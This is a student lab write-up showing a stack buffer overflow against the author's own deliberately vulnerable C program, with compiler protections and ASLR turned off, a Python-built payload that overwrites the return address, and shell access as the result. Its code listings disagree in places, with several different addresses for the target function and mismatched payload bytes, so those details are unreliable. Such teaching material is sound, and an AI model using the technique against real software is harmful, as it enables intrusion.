


# Program Exploitation Using Buffer Overflow

## Buffer Overflow:

Buffer overflow is a typical type of vulnerability software; it is a type of a system condition that arises because of any program while depositing more data into a memory buffer than is relatively safe to do. When the given size of the buffer is fixed, the overflow may lead to the overflowing of the buffer into the surrounding memory address space may overwrite important data, including variables, function pointers, or return addresses.

## The Stack and The Heap:

Every program uses stack and heap in its operation. Stack is a piece of memory utilized by single thread of execution of a function and the heap, is a piece of memory utilized by the whole program. Whereby the heap and begins at the low memory address and expands upwards to the highest memory addresses as the new variables and objects are included in the heap, the stack begins at the top of the memory addresses and extends downwards.



<https://www.linux.com/training-tutorials/stack-vs-heap-whats-difference-and-why-should-i-care/>

## Types of Buffer Overflow:

### a. Stack based buffer overflow

It occurs inside the stack memory and often exploits the return address. It is common functions like gets(), and strcpy().

### b. Heap based buffer overflow

This type of buffer overflow occurs in the dynamically allocated memory and can overwrite heap metadata or objects pointers.

### c. Integer overflow-induced Buffer overflow

This overflow usually occurs and caused by the calculations of incorrect sizes and that leads to allocating smaller sizes of buffer than necessary buffer size.

## Why Buffer overflow is Dangerous:

The buffer overflow can give access for many things to the attackers such as:

- a. Crash the program leads to denial of service.
- b. Modify the behaviours of the program.
- c. Gain unauthorized access and privileges to the shell.

## Introduction:


This documentation demonstrates a practical exploitation of vulnerable C program using a stack-based buffer overflow technique. The main objective of this component is to achieve shell access by exploiting improper input validation and unsafe memory handling. This working criteria of this component aligns with the learning outcomes related to low-level system behaviour, memory exploitation, and secure programming awareness.

## Objective:

1. To analyse a vulnerable program.
2. To identify a stack-based buffer overflow vulnerability.
3. To overwrite the return address.
4. To redirect execution flow.
5. To achieve /bin/sh and /bin/bash/ shell access.
6. To verify successful exploitation.

## Justification:

## 1. Creating repositories inside GitLab and cloning it inside the Linux (centOs)



At first glance I created a directory assignment:

**Command:**

`mkdir assignments`

after creating this directory, I cloned the created repository inside the directory.

**Command:**

`git clone https://gitlab.uwe.ac.uk/a272-ahmed/os_component_4`

```
ahmed@192:~/assignments$ git clone https://gitlab.uwe.ac.uk/a272-ahmed/os_component_4.git
Cloning into 'os_component_4'...
Username for 'https://gitlab.uwe.ac.uk': a272-ahmed
Password for 'https://a272-ahmed@gitlab.uwe.ac.uk':
remote: HTTP Basic: Access denied. If a password was provided for Git authentication, the password was incorrect or you're required to use a token instead of a password. If a token was provided, it was either incorrect, expired, or improperly scoped. See https://gitlab.uwe.ac.uk/help/topics/git/troubleshooting-git-oid-error-on-git-fetch-http-basic-access-denied
fatal: Authentication failed for 'https://gitlab.uwe.ac.uk/a272-ahmed/os_component_4.git/'
ahmed@192:~/assignments$ git clone https://gitlab.uwe.ac.uk/a272-ahmed/os_component_4.git
Cloning into 'os_component_4'...
Username for 'https://gitlab.uwe.ac.uk': a272-ahmed
Password for 'https://a272-ahmed@gitlab.uwe.ac.uk':
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (3/3), done.
ahmed@192:~/assignments$ ls
os_component_4
ahmed@192:~/assignments$ cd os_component_4/
ahmed@192:~/assignments/os_component_4$
```

## 2. Created vulnerable C Program:

```
aahmed@192:~/assignments/os_component_4 - vim vuln.c
file:///192.168.57.128/home/aahmed/assignments/os_component_4

#include <unistd.h>
#include <stdlib.h>

extern char **environ;

void secretfunction() {
    printf("\n--- !!! Congratulations !!! You entered the secret function ---\n");
    char *args[] = {"bash", NULL};
    execve("/bin/bash", args, environ);
}

void echo() {
    char buf[20];
    printf("Please enter some text: ");
    fflush(stdout);
    read(0, buf, 200);
    puts("Input received");
}

int main() {
    setbuf(stdout, NULL);
    echo();
    puts("Goodbye see you");
}
```

```
CentOS version 5 and earlier 64-bit - VMware Workstation
File Edit View VM Tabs Help
CentOS version 5 and earlier...
Dec 20 10:02 PM
aahmed@192:~/assignments/os_component_4
file:///192.168.57.128/home/aahmed/assignments/os_component_4
aahmed@192:~/assignments/os_component_4
aahmed@192:~/assignments/os_component_4$ vim vuln.c
aahmed@192:~/assignments/os_component_4$ gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
vuln.c: In function 'echo':
vuln.c:15:5: warning: 'read' writing 200 bytes into a region of size 20 overflows the destination [-Wstringop-overflow=]
  15 |     read(0, buffer, 200);    // buffer overflow
      |
vuln.c:13:10: note: destination object 'buffer' of size 20
  13 |     char buffer[20];
      |
In file included from vuln.c:2:
/usr/include/unistd.h:371:16: note: in a call to function 'read' declared with attribute 'access (write_only, 2, 3)'
  371 | extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __wur
      |
/usr/bin/ld: warning: enabling an executable stack because of -z execstack command line option
aahmed@192:~/assignments/os_component_4$ ./vuln
hjhdjhgf
Please enter some text: Input received
Goodbye see you
```

- After cloning the repository, I entered inside the cloned directory.
- Created a vulnerable C file vuln.c

Command:

Vim vuln.c

Vuln.c description

This is a vulnerable c program

It contains:

- a. A hidden and unused function (secret function) that spawns a shell.
- b. A buffer overflow vulnerability in *echo ()*.
- c. A normal main() flow that never calls secret function directly.

### Secretfunction():

```
void secretfunction() {  
    printf("\n--- !!! Congratulations !!! You entered the secret function ---\n");  
    char *args[] = {"bash", NULL};  
    execve("/bin/bash", args, environ);  
}
```

- Prints congratulations message.
- Flushes output so the message appears immediately.
- Call execve("/bin/bash", args, NULL)

Execve replaces the current process with /bin/bash, if it is successful, it never returns.

This gives an user interactive shell running with the privileges of the program and this functions never called normally, though it is a secret target for exploitation.

### Echo():

```
void echo() {  
    char buf[20];  
    printf("Please enter some text: ");  
    fflush(stdout);  
    read(0, buf, 200);  
    puts("Input received");  
}
```

This function allocates a local buffer of 20 bytes on the stack and prompts for user input. Reads up to 200 bytes from standard input into that buffer. Finally prints "input Received"

### Critical vulnerability:

- a. Buffer is only 20 bytes.
- b. Read() allows 200 bytes.
- c. This causes a stack buffer overflow.

- Extra input can overwrite:  
Saved based pointer and return address.
- An attacker can overwrite the return address to jump to **secretfunction()** or build a **ROP** chain.

## Main()

```
int main() {
    setbuf(stdout, NULL);
    echo();
    puts("Goodbye see you");
}
```

- Calls echo()
- Prints a Goodbye message.
- Exists normally.

### 3. Compilation of vuln.c:

after creating this vulnerable c program vuln.c I proceeds for compilation process.

#### Command:

```
gcc vuln.c -o vuln -fno-stack-protector -z execstack -no-pie
```

command explanation:

- fno-stack-protector:  
Disable stack crantry.
- no-pie:  
Fixed function address.
- z execstack:  
Executable stack (for exploitation).

### 4. Binary Analysis:

#### a. Files vuln:

shows the file type and architecture of vuln executable. After running this command, it confirms that vuln is a 64-bit ELF executable for x86-64 Linux and not stripped.

```

aahmed@192:~/assignments/os_component_4$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7
cb72cb80875ee0051fa0f31e40b9bc38b8567dc, for GNU/Linux 3.2.0, not stripped
aahmed@192:~/assignments/os_component_4$
aahmed@192:~/assignments/os_component_4$
aahmed@192:~/assignments/os_component_4$ setarch $(uname -m) -R bash
aahmed@192:~/assignments/os_component_4$
aahmed@192:~/assignments/os_component_4$ cat /proc/sys/kernel/randomize_va_space
2
aahmed@192:~/assignments/os_component_4$ ^C
aahmed@192:~/assignments/os_component_4$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for aahmed:
0
aahmed@192:~/assignments/os_component_4$ cat /proc/sys/kernel/randomize_va_space
0
aahmed@192:~/assignments/os_component_4$

```

b. `setarch $(uname -m) -R bash`:

it launches a new shell with ASLR disabled for that session to keep memory address consistent.

c. `cat /proc/sys/kernel/randomize_va_space`:

shows ASLR is enabled (2= full randomize)

d. `echo 0 | sudo tee /proc/sys/kernel/randomize_va_space`:

disables ASLR system-wide temporarily, making address-based testing predictable.

e. `nm vuln | grep secretfunction` and `objdump -d vuln | grep secretfunction`

```

aahmed@192:~/assignments/os_component_4$ nm vuln | grep secretfunction
0000000000401176 T secretfunction
aahmed@192:~/assignments/os_component_4$ nm vuln | grep function
0000000000401176 T secretfunction
aahmed@192:~/assignments/os_component_4$

```

This command is used to find the address of secretfunction (0x401166) in the binary symbol table.

f. `./vuln`

```

aahmed@192:~/assignments/os_component_4$ ./vuln
this is buffer overflow program
Please enter some text: Input received
Goodbye see you
aahmed@192:~/assignments/os_component_4$

```

Running `./vuln` normally shows normal program behaviour. I asked for input and prints “input received,” then exists with “Goodbye see you”.

g. gdb./vuln

```
aahmed@192:~/assignments/os_component_4$ gdb ./vuln

GNU gdb (CentOS Stream) 16.3-2.el10
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
```

### GDB (GNU Debugger):

Launching the program inside GDB (gdb ./vuln) confirms the same normal execution flow after clicking **run** command.

```
(gdb) run
Starting program: /home/aahmed/assignments/os_component_4/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".

Please enter some text: Input received
Goodbye see you
[Inferior 1 (process 4053) exited normally]
(gdb) █
```

This program exists normally, indicating no overflow was triggered yet because no oversized input was provided.

### h. Functions checking inside GDB.

```
(gdb) info functions secretfunction
All functions matching regular expression "secretfunction":

Non-debugging symbols:
0x0000000000401106 secretfunction
(gdb) info functions secret
All functions matching regular expression "secret":

File key_call.c:
93:     int __GI_key_secretkey_is_set(void);
70:     int __GI_key_setsecret(char *);

File publickey.c:
60:     int __GI_getsecretkey(const char *, char *, const char *);

Non-debugging symbols:
0x0000000000401105 secretfunction
(gdb) █
```



This confirms the function exists and gives its memory address.

- The entries under file\_key\_call.c and publickey.c are glibc internal functions, not part of this program and belongs to system libraries.

## 5. Payload Creation:

### i. Conversion of secret function address in Little Indian:

secret function address: 0x0000000000401176

step1: split address into bytes:

each group = 1 byte = 2 hex digits

0x00 00 00 00 00 40 11 76

Step2: Reverse the Byte order:

66 11 40 00 00 00 00 00

Step3: add escape format for payload

\x76\x11\x40\x00\x00\x00\x00\x00

```
ahmed@192:~/assignments/os_component_4$ python3 -c 'import struct; print(struct.pack("<Q", 0x401176))' b'f\x11@\x00\x00\x00\x00\x00\x00'
```

For quick and accurate result, I ran python script.

So final payload is

```
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x66\x11\x40\x00\x00\x00\x00\x00")' > payload
```

### Explanation of this command:

This command helps to create a binary file that exploits a stack buffer overflow by overwriting the return address with the address of secret function.

- **Python3 -c**  
Runs python one liner directly from the command line.
- **Import sys**  
Imports the sys module to allow **raw binary output**.
- **Sys.stdout.buffer.write ():**  
Writes binary data directly to standard output and necessary payload contains null bytes (\x00\), by which normal print() cannot handle correctly.
- **Payload structure:**
  - a. Generates 40 padding bytes.

b. These bytes fill:

1. 32 bytes → buffer (aligned by compiler)
2. 8 bytes → saved RBP

- This positions the next bytes exactly at the saved return address (RIP).

```
aahmed@192:~/assignments/os_component_4$ python3 -c 'import sys; sys.stdout.buffer.write(b"A"*40 + b"\x76\x11\x40\x00\x00\x00\x00\x00")' > payload
aahmed@192:~/assignments/os_component_4$
```

## 6. Exploitation Execution:

```
aahmed@192:~/assignments/os_component_4$ ./vuln < payload
Please enter some text: Input received

--- !!! Congratulations !!! You entered the secret function ---
$ exit
aahmed@192:~/assignments/os_component_4$
```

Command:

`./vuln < payload`

- After running this command, the output confirms the control flow of system hijacking.
- Normally, after `echo()` the program finishes, execution returns to main and print “!!! Goodbye !!!”. but this line does not appear.
- Instead of this this program jumps to the `secretfunction`.
- This proves that the system is fully hijacked and return address was successfully overwritten.
- Program did not crash without any message of no segmentation fault and no abnormal termination.
- That confirms correct offset and correct address.
- Secret function is executed.
- Clean program exit.

## 7. Shell Execution and verification:

Command:

`(cat payload; cat) | vuln`

A. Shell execution:

This command is used to execute the vulnerable program while supplying a crafted exploit payload and maintaining an interactive input stream.

The first cat payload sends malicious input and buffer overflow data to the standard input of the vulnerable program. This payload overwrites the saved return address and redirects execution to the secretfunction().

The second cat keeps the standard input open after the payload has been delivered. This is necessary because the secretfunction() executes /bin/bash using execve(), which requires an active standard input to allow interactive command execution.

```
aahmed0192:~/assignments/os_component_4$ wc -c payload
48 payload
aahmed0192:~/assignments/os_component_4$ (cat payload; cat) | ./vuln
Please enter some text: Input received

--- !!! Congratulations !!! You entered the secret function ---

ls
README.md payload vuln vuln.c
cat vuln.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void secretfunction()
{
    printf("\n--- !!! Congratulations !!! You entered the secret function ---\n");
    fflush(stdout);

    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL); // 🔥 REPLACES PROCESS
    // execve never returns if successful
}

void echo()
{
    char buffer[20];
    printf("Please enter some text: ");
    read(0, buffer, 200); // overflow
    puts("Input received");
}

int main()
{

```

## B. Shell Verification:

After successful execution is confirmed by running standard shell commands. The commands are as follows:

**Command:**

ls

pwd

id

and I have performed many activities and ran some commands that are given in the images given below.

```

pwd
/home/aahmed/assignments/os_component_4

ls
README.md  payload  vuln  vuln.c

ps
  PID TTY          TIME CMD
 4134 pts/3        00:00:00 bash
 4532 pts/3        00:00:00 cat
 4533 pts/3        00:00:00 bash
 4702 pts/3        00:00:00 ps

ps -p $$
  PID TTY          TIME CMD
 4533 pts/3        00:00:00 bash

```

```

aahmed@192:~/assignments/os_component_4

env
PWD=/home/aahmed/assignments/os_component_4
SHLVL=1
_=/usr/bin/env

echo $0
/bin/sh

cd /

pwd
/
ls
afs      dev      lib      mnt      root     srv      usr
bin      etc      lib64    opt      run      sys      var
boot     home     media    proc     sbin     tmp

abcd123
/bin/sh: line 26: abcd123: command not found

```

```

Dec 21 10:17 AM
aahmed@192:~/assignments
aahmed@192:~/assignments/os_component_4 - vim vuln.c

$
$
$ top
top - 07:12:20 up 1:45, 2 users, load average: 0.49, 0.21, 0.07
Tasks: 255 total, 1 running, 254 sleeping, 0 stopped, 0 zombie
%Cpu(s): 21.4 us, 11.9 sy, 0.0 ni, 65.4 id, 0.0 wa, 0.9 hi, 0.3 si, 0.0 st
MiB Mem : 1673.0 total, 193.1 free, 1329.5 used, 315.9 buff/cache
MiB Swap: 2060.0 total, 1878.0 free, 182.0 used, 343.5 avail Mem

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM    TIME+  COMMAND
 3434 aahmed    20   0 1460036 359368 69380 S   13.0   21.0   1:43.92  ptmxls
 2629 aahmed    20   0 3717016 306176 79136 S    9.1   17.9   1:45.91  gnome-shell
 4810 root      20   0      0      0      0 I    5.9   0.0   0:00.73  kworker/u512:4-events_unbound
 18 root      20   0      0      0      0 I    1.0   0.0   0:04.24  rcu_preempt
 4848 aahmed    20   0 231624 5560 3420 R    0.7   0.3   0:00.05  top
 2794 aahmed    20   0 513756 29180 18276 S    0.3   1.7   0:21.36  vmtoolsd
 1 root      20   0 44656 32988 9852 S    0.0   1.9   0:02.16  systemd
 2 root      20   0      0      0      0 S    0.0   0.0   0:00.01  kthreadd
 3 root      20   0      0      0      0 S    0.0   0.0   0:00.00  pool_workqueue_release
 4 root      0 -20      0      0      0 I    0.0   0.0   0:00.00  kworker/R-rcu_gp
 5 root      0 -20      0      0      0 I    0.0   0.0   0:00.00  kworker/R-sync_wq
 6 root      0 -20      0      0      0 I    0.0   0.0   0:00.00  kworker/R-slub_flushwq
 7 root      0 -20      0      0      0 I    0.0   0.0   0:00.00  kworker/R-netns
 10 root      0 -20      0      0      0 I    0.0   0.0   0:00.00  kworker/0:0H-events_highpri
 12 root      0 -20      0      0      0 I    0.0   0.0   0:00.00  kworker/R-mm_percpu_wq
 13 root      20   0      0      0      0 I    0.0   0.0   0:11.55  kworker/u512:1-events_unbound

$ free -h

```

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

```
aahmed@192:~/assignments/os_component_4 - vim vuln.c
1 root      20  0    44656  32988  9852 S   0.0  1.9  0:02.16 systemd
2 root      20  0      0      0      0 S   0.0  0.0  0:00.01 kthreadd
3 root      20  0      0      0      0 S   0.0  0.0  0:00.00 pool_workqueue_release
4 root      0 -20  0      0      0 I   0.0  0.0  0:00.00 kworker/R-rcu_gp
5 root      0 -20  0      0      0 I   0.0  0.0  0:00.00 kworker/R-sync_wq
6 root      0 -20  0      0      0 I   0.0  0.0  0:00.00 kworker/R-slub_flushwq
7 root      0 -20  0      0      0 I   0.0  0.0  0:00.00 kworker/R-netns
10 root     0 -20  0      0      0 I   0.0  0.0  0:00.00 kworker/0:0H-events_highpri
12 root     0 -20  0      0      0 I   0.0  0.0  0:00.00 kworker/R-mm_percpu_wq
13 root     20  0      0      0      0 I   0.0  0.0  0:11.55 kworker/u512:1-events_unbound

$ free -h
              total        used        free      shared  buff/cache   available
Mem:           1.6Gi       1.3Gi       193Mi         12Mi       315Mi       343Mi
Swap:          2.0Gi       182Mi       1.8Gi

$ ls
assignments  demo  Desktop  Documents  Downloads  Music  Pictures  Public  tbc.txt  Templates  Videos
$ cd assignments/
$ ls
os_component_4
$ git status
fatal: not a git repository (or any of the parent directories): .git
$ cat vuln.c
cat: vuln.c: No such file or directory
$ ls
os_component_4
$ cd assignments
bash: cd: assignments: No such file or directory
$
```

## 8. GitLab

```
File Edit View VM Tabs Help
CentOS version 5 and earl...
Dec 24 9:53 PM
aahmed@192:~/assignments/os_component_4 - cat
aahmed@192:~/assignments/os_component_4

git config --global --edit
After doing this, you may fix the identity used for this commit with:
git commit --amend --reset-author

3 files changed, 27 insertions(+)
create mode 100644 payload
create mode 100755 vuln
create mode 100644 vuln.c
aahmed@192:~/assignments/os_component_4$ git status
On branch main
Your branch is ahead of 'origin/main' by 1 commit.
(use "git push" to publish your local commits)

nothing to commit, working tree clean
aahmed@192:~/assignments/os_component_4$ git push
Username for 'https://gitlab.uwe.ac.uk': a272-ahmed
Password for 'https://a272-ahmed@gitlab.uwe.ac.uk':
Enumerating objects: 6, done.
Counting objects: 100% (6/6), done.
Compressing objects: 100% (4/4), done.
Writing objects: 100% (5/5), 5.05 KiB | 5.05 MiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To https://gitlab.uwe.ac.uk/a272-ahmed/os_component_4.git
  668d59f..9a22498  main -> main
aahmed@192:~/assignments/os_component_4$

aahmed@192:~/assignments/os_component_4$ git init
Reinitialized existing Git repository in /home/aahmed/assignments/os_component_4/.git/
aahmed@192:~/assignments/os_component_4$ git add .
aahmed@192:~/assignments/os_component_4$ git status
On branch main
Your branch is up to date with 'origin/main'.


Changes to be committed:
  (use "git restore --staged <file>..." to unstage)
        new file:   payload
        new file:   vuln
        new file:   vuln.c

aahmed@192:~/assignments/os_component_4$ git commit -m "buffer flow exploitation and shell execution"
[main 9a22498] buffer flow exploitation and shell execution
  Committer: Ajaaj Ahmed <aahmed@192.168.57.128>
Your name and email address were configured automatically based
on your username and hostname. Please check that they are accurate.
You can suppress this message by setting them explicitly. Run the
following command and follow the instructions in your editor to edit
your configuration file:

    git config --global --edit

After doing this, you may fix the identity used for this commit with:

    git commit --amend --reset-author
```

A screenshot of a terminal window with a dark background. The window title is 'CentOS version 5 and earlier...'. The terminal shows a series of git commands and their outputs. The user runs 'git config --global --edit', followed by a message about fixing identity. Then 'git commit --amend --reset-author' is run, showing 3 files changed. Next, 'git status' is run, showing the branch is ahead of 'origin/main'. Finally, 'git push' is run, showing the upload progress and the new commit hash '668d59f.9a22498' being pushed to 'main'.

```
git config --global --edit
After doing this, you may fix the identity used for this commit with:
git commit --amend --reset-author
3 files changed, 27 insertions(+)
create mode 100644 payload
create mode 100755 vuln
create mode 100644 vuln.c
aahmed@192:~/assignments/os_component_4$ git status
On branch main
Your branch is ahead of 'origin/main' by 1 commit.
(use "git push" to publish your local commits)

nothing to commit, working tree clean
aahmed@192:~/assignment_4$ git push
Username for 'https://gitlab.uwe.ac.uk': a272-ahmed
Password for 'https://a272-ahmed@gitlab.uwe.ac.uk':
Enumerating objects: 6, done.
Counting objects: 100% (6/6), done.
Compressing objects: 100% (4/4), done.
Writing objects: 100% (5/5), 5.05 KiB | 5.05 MiB/s, done.
Total 5 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
To https://gitlab.uwe.ac.uk/a272-ahmed/os_component_4.git
668d59f.9a22498 main -> main
aahmed@192:~/assignments/os_component_4$
```

## Conclusion:

Buffer overflow demonstrates stack-based buffer overflow vulnerability caused by unsafe input handling in c programming. The created program controls flow completely and successfully redirected to a hidden function, resulting in execution of an interactive shell. This concludes that the buffer overflows can lead to the excess of computer program and complete program compromise.

## References:

1. [https://www.academia.edu/20299588/OPERATING\\_SYSTEMS\\_WILLIAM\\_ST\\_ALLINGS](https://www.academia.edu/20299588/OPERATING_SYSTEMS_WILLIAM_ST_ALLINGS)
2. <https://www.fortinet.com/resources/cyberglossary/buffer-overflow>
3. [https://www.pearson.com/en-us/subject-catalog/p/operating-systems-internals-and-design-principles/P200000003349/9780137516742?srsId=AfmBOooEZUOo6CiwWpgi1CIYAPELutm\\_7DFATTFSPnEnyKAPv8bZsOBR&nu=1](https://www.pearson.com/en-us/subject-catalog/p/operating-systems-internals-and-design-principles/P200000003349/9780137516742?srsId=AfmBOooEZUOo6CiwWpgi1CIYAPELutm_7DFATTFSPnEnyKAPv8bZsOBR&nu=1)
4. <https://www.geeksforgeeks.org/linux-unix/cat-command-in-linux-with-examples/>
- 5.